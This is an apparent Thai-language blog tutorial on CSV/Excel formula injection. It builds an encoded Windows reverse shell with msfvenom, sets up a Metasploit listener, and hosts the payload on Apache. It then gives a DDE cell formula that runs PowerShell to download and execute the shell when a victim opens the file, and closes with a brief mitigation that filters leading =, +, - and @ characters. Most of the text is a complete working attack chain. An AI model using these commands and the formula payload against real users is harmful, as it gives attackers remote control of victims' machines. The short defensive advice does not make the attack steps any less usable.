How to inject the malicious script into Excel/CSV

บทนำ (Overview)

ในการตรวจสอบข้อมูลเข้าของระบบโดยเฉพาะอย่างยิ่ง ไฟล์ที่ถูก Upload อย่างจำพวก Spread sheet ที่ซึ่งสามารถประมวลผลข้อมูลโดยใช้คำสั่งภายนอกได้นั้น จำเป็นต้องมีการบรรเทาความเสี่ยงที่อาจเกิดขึ้นเมื่อผู้ใช้งานสามารถดาวน์โหลดไฟล์ดังกล่าวไปใช้งานต่อไป โดยบทความนี้แสดงให้เห็นถึงวิธีการสร้าง Reverse shell และติดต่อกลับไปยังผู้โจมตีโดยผ่าน Excel ไฟล์ดังต่อไปนี้

ขั้นตอน (Steps)

สร้าง Windows Reverse shell

  1. ติดตั้ง Kali linux
  2. เราสามารถสร้าง Windows Reverse shell เพื่อใช้สำหรับติดตั้งบนเครื่องเหยื่อให้ติดต่อกลับมาหาเราได้ โดยใช้คำสั่งดังนี้ (โดนที่ IP และ Port เป็นของ Attacker)
    msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.46 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe -o shell.exe
    

  3. จากนั้นที่เครื่องผู้โจมตี จะต้องตั้ง Listener เพื่อให้เหยื่อใด ๆ ที่เปิดไฟล์ Excel สามารถติดต่อกลับเพื่อเชื่อมต่อกันได้ดังนี้
    msfconsole
    use exploit/multi/handler 
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.46
    set LPORT 4444
    set ExitOnSession false
    exploit -j -z
    


การเผยแพร่ Reverse shell ผ่าน Web server

  1. เปิดใช้งาน Web server โดยใช้คำสั่ง
    service apache2 start
    
  2. แล้วนำ Shell.exe ที่เราสร้างเอาไปไว้ที่ /var/www/html
  3. ทดลองเรียกผ่าน Web browser ว่าสามารถ Download ได้หรือไม่

การเรียกใช้งาน Windows command ผ่าน Excel/CSV

  1. โดยปกติเราสามารถเรียกใช้โปรแกรมใด ๆ ที่ติดตั้งอยู่บน Windows โดยใช้คำสั่งดังนี้ โดยกรอกลงบนช่อง Excel (จากตัวอย่างเรียกใช้งานโปรแกรมเครื่องคิดเลข)
    =cmd|' /C calc'!A1
    
  2. จากนั้นเราจะประยุกต์ใช้ Powershell เพื่อ Download โปรแกรม shell.exe ของที่อยู่ Web server ที่เราได้ตั้งเอาไว้แล้ว และเรียกใช้งานมันโดยใช้คำสั่ง
    =cmd|' /C powershell Invoke-WebRequest "http://192.168.1.46/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!'A1'
    
  3. เมื่อเหยื่อเปิด Excel โปรแกรม Shell.exe จะถูก Download และ Execute ทันที ให้ตรวจสอบที่ Listener ที่เราได้ตั้งเอาไว้ จะพบว่าสามารถควบคุมเครื่องเหยื่อได้เช่นกัน (อย่างไรก็ shell.exe อาจจะถูกลบโดยโปรแกรม Antivirus)
    show sessions
    sessions 1
    

 


วิธีแก้ปัญหาสำหรับ Web application

ในกรณี Web application ให้บริการ Upload ไฟล์ จะต้องมีการ

  • ตรวจสอบ Format ของข้อมูลนำเข้าเสียก่อน คือ มีจำนวน Filed ที่ต้องการ และในแต่ละ Field ทีประเภทข้อมูลที่ถูกต้อง (Field Type)
  • ลดความเสี่ยงโดยอ่านข้อมูลในแต่ Field และกรองอักขระพิเศษดังนี้
    • Equals to (“=”)
    • Plus (“+”)
    • Minus (“-“)
    • At (“@”)

อ้างอิง

ใส่ความเห็น